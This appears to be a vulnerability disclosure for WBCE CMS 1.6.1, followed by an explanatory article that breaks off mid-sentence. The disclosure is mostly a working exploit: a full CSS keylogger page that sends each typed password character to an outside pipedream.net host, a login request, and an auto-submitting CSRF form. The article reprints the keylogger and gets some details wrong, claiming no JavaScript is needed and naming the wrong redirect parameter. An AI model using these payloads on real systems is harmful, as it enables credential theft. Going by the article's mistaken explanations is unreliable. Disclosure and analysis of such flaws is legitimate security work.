WBCE CMS 1.6.1 - Open Redirect & CSRF
Exploit Title: WBCE CMS 1.6.1 - Open Redirect & CSRF
Version: 1.6.1
Bugs: Open Redirect + CSRF = CSS KEYLOGGING
Technology: PHP
Vendor URL: https://wbce-cms.org/
Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
Date of found: 03-07-2023
Author: Mirabbas Ağalarov
Tested on: Linux
2. Technical Details & POC
========================================
1. Login to Account
2. Go to Media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/index.php#elf_l1_Lw)
3. Then you upload html file .(html file content is as below)
'''
<html>
<head>
<title>
Login
</title>
<style>
input[type="password"][value*="q"]{
background-image: url('https://enflownwx6she.x.pipedream.net/q');}
input[type="password"][value*="w"]{
background-image: url('https://enflownwx6she.x.pipedream.net/w');}
input[type="password"][value*="e"]{
background-image: url('https://enflownwx6she.x.pipedream.net/e');}
input[type="password"][value*="r"]{
background-image: url('https://enflownwx6she.x.pipedream.net/r');}
input[type="password"][value*="t"]{
background-image: url('https://enflownwx6she.x.pipedream.net/t');}
input[type="password"][value*="y"]{
background-image: url('https://enflownwx6she.x.pipedream.net/y');}
input[type="password"][value*="u"]{
background-image: url('https://enflownwx6she.x.pipedream.net/u');}
input[type="password"][value*="i"]{
background-image: url('https://enflownwx6she.x.pipedream.net/i');}
input[type="password"][value*="o"]{
background-image: url('https://enflownwx6she.x.pipedream.net/o');}
input[type="password"][value*="p"]{
background-image: url('https://enflownwx6she.x.pipedream.net/p');}
input[type="password"][value*="a"]{
background-image: url('https://enflownwx6she.x.pipedream.net/a');}
input[type="password"][value*="s"]{
background-image: url('https://enflownwx6she.x.pipedream.net/s');}
input[type="password"][value*="d"]{
background-image: url('https://enflownwx6she.x.pipedream.net/d');}
input[type="password"][value*="f"]{
background-image: url('https://enflownwx6she.x.pipedream.net/f');}
input[type="password"][value*="g"]{
background-image: url('https://enflownwx6she.x.pipedream.net/g');}
input[type="password"][value*="h"]{
background-image: url('https://enflownwx6she.x.pipedream.net/h');}
input[type="password"][value*="j"]{
background-image: url('https://enflownwx6she.x.pipedream.net/j');}
input[type="password"][value*="k"]{
background-image: url('https://enflownwx6she.x.pipedream.net/k');}
input[type="password"][value*="l"]{
background-image: url('https://enflownwx6she.x.pipedream.net/l');}
input[type="password"][value*="z"]{
background-image: url('https://enflownwx6she.x.pipedream.net/z');}
input[type="password"][value*="x"]{
background-image: url('https://enflownwx6she.x.pipedream.net/x');}
input[type="password"][value*="c"]{
background-image: url('https://enflownwx6she.x.pipedream.net/c');}
input[type="password"][value*="v"]{
background-image: url('https://enflownwx6she.x.pipedream.net/v');}
input[type="password"][value*="b"]{
background-image: url('https://enflownwx6she.x.pipedream.net/b');}
input[type="password"][value*="n"]{
background-image: url('https://enflownwx6she.x.pipedream.net/n');}
input[type="password"][value*="m"]{
background-image: url('https://enflownwx6she.x.pipedream.net/m');}
input[type="password"][value*="Q"]{
background-image: url('https://enflownwx6she.x.pipedream.net/Q');}
input[type="password"][value*="W"]{
background-image: url('https://enflownwx6she.x.pipedream.net/W');}
input[type="password"][value*="E"]{
background-image: url('https://enflownwx6she.x.pipedream.net/E');}
input[type="password"][value*="R"]{
background-image: url('https://enflownwx6she.x.pipedream.net/R');}
input[type="password"][value*="T"]{
background-image: url('https://enflownwx6she.x.pipedream.net/T');}
input[type="password"][value*="Y"]{
background-image: url('https://enflownwx6she.x.pipedream.net/Y');}
input[type="password"][value*="U"]{
background-image: url('https://enflownwx6she.x.pipedream.net/U');}
input[type="password"][value*="I"]{
background-image: url('https://enflownwx6she.x.pipedream.net/I');}
input[type="password"][value*="O"]{
background-image: url('https://enflownwx6she.x.pipedream.net/O');}
input[type="password"][value*="P"]{
background-image: url('https://enflownwx6she.x.pipedream.net/P');}
input[type="password"][value*="A"]{
background-image: url('https://enflownwx6she.x.pipedream.net/A');}
input[type="password"][value*="S"]{
background-image: url('https://enflownwx6she.x.pipedream.net/S');}
input[type="password"][value*="D"]{
background-image: url('https://enflownwx6she.x.pipedream.net/D');}
input[type="password"][value*="F"]{
background-image: url('https://enflownwx6she.x.pipedream.net/F');}
input[type="password"][value*="G"]{
background-image: url('https://enflownwx6she.x.pipedream.net/G');}
input[type="password"][value*="H"]{
background-image: url('https://enflownwx6she.x.pipedream.net/H');}
input[type="password"][value*="J"]{
background-image: url('https://enflownwx6she.x.pipedream.net/J');}
input[type="password"][value*="K"]{
background-image: url('https://enflownwx6she.x.pipedream.net/K');}
input[type="password"][value*="L"]{
background-image: url('https://enflownwx6she.x.pipedream.net/L');}
input[type="password"][value*="Z"]{
background-image: url('https://enflownwx6she.x.pipedream.net/Z');}
input[type="password"][value*="X"]{
background-image: url('https://enflownwx6she.x.pipedream.net/X');}
input[type="password"][value*="C"]{
background-image: url('https://enflownwx6she.x.pipedream.net/C');}
input[type="password"][value*="V"]{
background-image: url('https://enflownwx6she.x.pipedream.net/V');}
input[type="password"][value*="B"]{
background-image: url('https://enflownwx6she.x.pipedream.net/B');}
input[type="password"][value*="N"]{
background-image: url('https://enflownwx6she.x.pipedream.net/N');}
input[type="password"][value*="M"]{
background-image: url('https://enflownwx6she.x.pipedream.net/M');}
input[type="password"][value*="1"]{
background-image: url('https://enflownwx6she.x.pipedream.net/1');}
input[type="password"][value*="2"]{
background-image: url('https://enflownwx6she.x.pipedream.net/2');}
input[type="password"][value*="3"]{
background-image: url('https://enflownwx6she.x.pipedream.net/3');}
input[type="password"][value*="4"]{
background-image: url('https://enflownwx6she.x.pipedream.net/4');}
input[type="password"][value*="5"]{
background-image: url('https://enflownwx6she.x.pipedream.net/5');}
input[type="password"][value*="6"]{
background-image: url('https://enflownwx6she.x.pipedream.net/6');}
input[type="password"][value*="7"]{
background-image: url('https://enflownwx6she.x.pipedream.net/7');}
input[type="password"][value*="8"]{
background-image: url('https://enflownwx6she.x.pipedream.net/8');}
input[type="password"][value*="9"]{
background-image: url('https://enflownwx6she.x.pipedream.net/9');}
input[type="password"][value*="0"]{
background-image: url('https://enflownwx6she.x.pipedream.net/0');}
input[type="password"][value*="-"]{
background-image: url('https://enflownwx6she.x.pipedream.net/-');}
input[type="password"][value*="."]{
background-image: url('https://enflownwx6she.x.pipedream.net/.');}
input[type="password"][value*="_"]{
background-image: url('https://enflownwx6she.x.pipedream.net/%60');}
input[type="password"][value*="@"]{
background-image: url('https://enflownwx6she.x.pipedream.net/%40');}
input[type="password"][value*="?"]{
background-image: url('https://enflownwx6she.x.pipedream.net/%3F');}
input[type="password"][value*=">"]{
background-image: url('https://enflownwx6she.x.pipedream.net/%3E');}
input[type="password"][value*="<"]{
background-image: url('https://enflownwx6she.x.pipedream.net/%3C');}
input[type="password"][value*="="]{
background-image: url('https://enflownwx6she.x.pipedream.net/%3D');}
input[type="password"][value*=":"]{
background-image: url('https://enflownwx6she.x.pipedream.net/%3A');}
input[type="password"][value*=";"]{
background-image: url('https://enflownwx6she.x.pipedream.net/%3B');}
</style>
</head>
<body>
<label>Please enter username and password</label>
<br><br>
Password:: <input type="password" />
<script>
document.querySelector('input').addEventListener('keyup', (evt)=>{
evt.target.setAttribute('value', evt.target.value);
})
</script>
</body>
</html>
'''
4.Then go to url of html file (http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html) and copy url.
5.Then you logout account and go to again login page (http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php)
POST /WBCE_CMS-1.6.1/wbce/admin/login/index.php HTTP/1.1
Host: localhost
Content-Length: 160
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: phpsessid-2729-sid=3i7oqonhjf0ug0jl5dfdp4uugg
Connection: close
url=&username_fieldname=username_3584B221EC89&password_fieldname=password_3584B221EC89&username_3584B221EC89=test&password_3584B221EC89=Hello123%21&submit=Login
6.If write as (https://ATTACKER.com) in url parameter on abowe request on you redirect to attacker.com.
7.We write to html files url
url=http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html
8.And create csrf-poc with csrf.poc.generator
<html>
<title>
This CSRF was found by miri
</title>
<body>
<h1>
CSRF POC
</h1>
<form action="http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php" method="POST" enctype="application/x-www-form-urlencoded">
<input type="hidden" name="url" value="http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
9.If victim click , ht redirect to html file and this page send to my server all keyboard activity of victim.
Poc video : https://youtu.be/m-x_rYXTP9E WBCE CMS 1.6.1: Open Redirect & CSRF Vulnerabilities – A Deep Dive into CSS Keylogging Exploitation
WBCE CMS, a widely used open-source content management system built on PHP, has recently come under scrutiny due to a critical vulnerability discovered in version 1.6.1. The flaw combines two well-known security weaknesses—Open Redirect and CSRF (Cross-Site Request Forgery)—to enable a highly stealthy and dangerous attack: CSS-based keylogging. This exploit, identified by security researcher Mirabbas Ağalarov on July 3, 2023, demonstrates how seemingly minor flaws can be weaponized into sophisticated data exfiltration mechanisms.
Understanding the Core Vulnerabilities
Before diving into the attack, it’s essential to understand the two vulnerabilities at play:
- Open Redirect: This occurs when an application redirects users to a URL specified by an attacker, without proper validation. If a malicious URL is passed via a parameter, the application blindly forwards the user to it, potentially leading to phishing or malware delivery.
- CSRF: CSRF exploits the trust a web application has in authenticated users. An attacker tricks a logged-in user into performing unintended actions by submitting malicious requests through hidden forms or scripts.
When these two vulnerabilities are chained together, they create a powerful attack vector that can bypass traditional security defenses—especially in environments where user authentication is already established.
Exploitation Mechanism: CSS Keylogging via Background Images
The most innovative aspect of this exploit lies in its use of CSS background-image injection to capture keystrokes in real time. This technique leverages the fact that modern browsers allow URLs in CSS background-image properties, which can trigger HTTP requests when the page is rendered.
Attackers craft a malicious HTML file with CSS rules that monitor the value attribute of password input fields. Each rule checks for a specific character in the password value and triggers a background image request to a remote server—effectively logging every keystroke as a unique HTTP request.
Login
input[type="password"][value*="q"]{
background-image:url('https://enflownwx6she.x.pipedream.net/q')}
input[type="password"][value*="w"]{
background-image:url('https://enflownwx6she.x.pipedream.net/w')}
input[type="password"][value*="e"]{
background-image:url('https://enflownwx6she.x.pipedream.net/e')}
input[type="password"][value*="r"]{
background-image:url('https://enflownwx6she.x.pipedream.net/r')}
input[type="password"][value*="t"]{
background-image:url('https://enflownwx6she.x.pipedream.net/t')}
input[type="password"][value*="y"]{
background-image:url('https://enflownwx6she.x.pipedream.net/y')}
input[type="password"][value*="u"]{
background-image:url('https://enflownwx6she.x.pipedream.net/u')}
input[type="password"][value*="i"]{
background-image:url('https://enflownwx6she.x.pipedream.net/i')}
input[type="password"][value*="o"]{
background-image:url('https://enflownwx6she.x.pipedream.net/o')}
input[type="password"][value*="p"]{
background-image:url('https://enflownwx6she.x.pipedream.net/p')}
input[type="password"][value*="a"]{
background-image:url('https://enflownwx6she.x.pipedream.net/a')}
input[type="password"][value*="s"]{
background-image:url('https://enflownwx6she.x.pipedream.net/s')}
input[type="password"][value*="d"]{
background-image:url('https://enflownwx6she.x.pipedream.net/d')}
input[type="password"][value*="f"]{
background-image:url('https://enflownwx6she.x.pipedream.net/f')}
input[type="password"][value*="g"]{
background-image:url('https://enflownwx6she.x.pipedream.net/g')}
input[type="password"][value*="h"]{
background-image:url('https://enflownwx6she.x.pipedream.net/h')}
input[type="password"][value*="j"]{
background-image:url('https://enflownwx6she.x.pipedream.net/j')}
input[type="password"][value*="k"]{
background-image:url('https://enflownwx6she.x.pipedream.net/k')}
input[type="password"][value*="l"]{
background-image:url('https://enflownwx6she.x.pipedream.net/l')}
input[type="password"][value*="z"]{
background-image:url('https://enflownwx6she.x.pipedream.net/z')}
input[type="password"][value*="x"]{
background-image:url('https://enflownwx6she.x.pipedream.net/x')}
input[type="password"][value*="c"]{
background-image:url('https://enflownwx6she.x.pipedream.net/c')}
input[type="password"][value*="v"]{
background-image:url('https://enflownwx6she.x.pipedream.net/v')}
Explanation: The code above defines CSS rules that trigger a background image request whenever a password input field contains a specific character. For example, if the user types q, the browser sends an HTTP request to https://enflownwx6she.x.pipedream.net/q. Each keystroke generates a separate HTTP request, which the attacker can log via a server like Pipedream or Webhook.
This method is highly stealthy because:
- It does not require JavaScript or external libraries.
- It exploits a browser’s inherent behavior—rendering CSS.
- It bypasses most client-side security filters (e.g., XSS protections) since it’s not code execution but image loading.
Attack Workflow: From Upload to Keylogging
The full attack chain is as follows:
- Authentication: The attacker logs into the WBCE CMS admin panel with valid credentials.
- Media Upload: The attacker navigates to the
Mediasection (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/index.php#elf_l1_Lw) and uploads the malicious HTML file. - Open Redirect Trigger: The CMS allows unvalidated redirection via parameters. If the uploaded file is accessed via a URL with a redirect parameter (e.g.,
redirect=http://malicious.site), the system redirects the user to the malicious site. - CSRF Execution: Once the user is redirected, the malicious HTML file is rendered. The browser automatically executes the CSS-based keylogging rules.
- Keylogging: Every keystroke in a password field triggers a background image request to the attacker’s server, enabling real-time capture of credentials.
Because the attacker is already authenticated, they can upload files without triggering access controls, making the attack more feasible than typical XSS exploits.
Why This Is a Critical Threat
Unlike traditional XSS or CSRF attacks that aim to steal session cookies or execute commands, this exploit is silent and persistent. It operates in the background without visible signs, making detection extremely difficult.
Moreover, it demonstrates how modern web technologies can be repurposed for malicious intent:
- CSS is not just for styling—it can be a data exfiltration channel.
- Open redirects are often overlooked as low-risk, but when combined with CSRF, they become high-risk.
- Attackers can use free tools like
PipedreamorWebhook.siteto log keystrokes without maintaining infrastructure.
Real-World Implications & Defense Strategies
For organizations using WBCE CMS 1.6.1, this vulnerability poses a serious risk:
- Administrators with access to media upload functions could unknowingly become vectors for keylogging.
- Any user with access to the admin panel could be targeted if they are tricked into opening a malicious file.
- Attackers could use this to harvest credentials from internal systems, bypassing multi-factor